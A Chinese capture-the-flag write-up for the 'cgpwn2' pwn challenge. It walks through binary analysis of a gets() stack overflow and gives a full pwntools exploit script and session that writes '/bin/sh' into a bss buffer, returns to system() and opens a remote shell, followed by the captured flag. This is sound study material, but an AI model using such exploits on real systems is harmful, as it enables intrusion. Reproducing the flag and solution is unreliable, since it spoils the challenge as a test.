首页 > 其他 > 详细

pwn-cgpwn2

时间:2020-06-08 16:08:20      阅读:62      评论:0      收藏:0      [点我收藏+]

pwn-cgpwn2

这次呢,练习的是 cgpwn2 ,同样使用checksec检查下,然后用IDA查看下调用地址

技术分享图片

可以看到目标是32位的,且使用RELRO和NX

技术分享图片

nc一下,发现回显这样两个句话,

C
please tell me your name

hello,you can leave some message here:

然后使用IDA分析下目标程序

技术分享图片

这里定义了三个流缓冲区,然后打印字符串 thank you 后退出程序

查看下main函数的伪代码发现hello()函数

技术分享图片

接着查看hello函数

技术分享图片

查看下hello函数的汇编代码

技术分享图片

首先要求输入一个name,这个输入是通过fgets函数完成的,从键盘读取最多32h个字符到name区域然后提示我们输入一些信息,这个输入是通过gets函数完成的,没有输入字符数量的限制,从键盘读取字符到s区域

查看下name所在位置 =》 0x804a080

技术分享图片

技术分享图片

技术分享图片

name是bss段的一个大小为34的区域,s区域的起始位置是运行时距离栈帧0x26个字节的地方,大小不限

接着查看下pwn函数技术分享图片

可以看到这个函数是利用系统调用打印"hehehe",存在一个call system

然后使用gdb下断点,得到system的地址

技术分享图片

构造payload

Python
#导入pwn模块
from pwn import *
#连接目标程序
p = remote(‘124.126.19.106‘,45522)

#
system_addr = 0x8048420
#通过name得到的地址
bss_addr = 0x804A080

#目标程序返回的字符串,等待输入name
p.recvuntil(‘please tell me your name\n‘)
#构造一个命令参数(cat flag也可以的)
payload = ‘/bin/sh‘
#发送我们的命令
p.sendline(payload)

#目标接收到命令,继续返回字符串
p.recvuntil(‘leave some message here:\n‘)
#构造溢出参数  name的地址     system地址               name地址
payload = ‘a‘*(0x26+4) + p32(system_addr) + ‘b‘*4 +p32(bss_addr)
#发送命令
p.sendline(payload)

#建立及时会话
p.interactive()

手动执行

Python
>>> from pwn import *
>>> p = remote(‘124.126.19.106‘,45522)
[x] Opening connection to 124.126.19.106 on port 45522
[x] Opening connection to 124.126.19.106 on port 45522: Trying 124.126.19.106
[+] Opening connection to 124.126.19.106 on port 45522: Done
>>> p.recvuntil(‘please tell me your name\n‘)
‘please tell me your name\n‘
>>> p.sendline(‘/bin/sh‘)
>>> p.recvuntil(‘hello,you can leave some message here:\n‘)
‘hello,you can leave some message here:\n‘
>>> payload = ‘a‘*(0x26+4) + p32(0x8048420) + ‘b‘*4 + p32(0x804a080)
>>> p.sendline(payload)
>>> p.interactive()

技术分享图片

得到flag

cyberpeace{59806e8ae0b821f47e8fe14b0148bcd3}

pwn-cgpwn2

原文:https://www.cnblogs.com/zi-Chuan/p/13065837.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!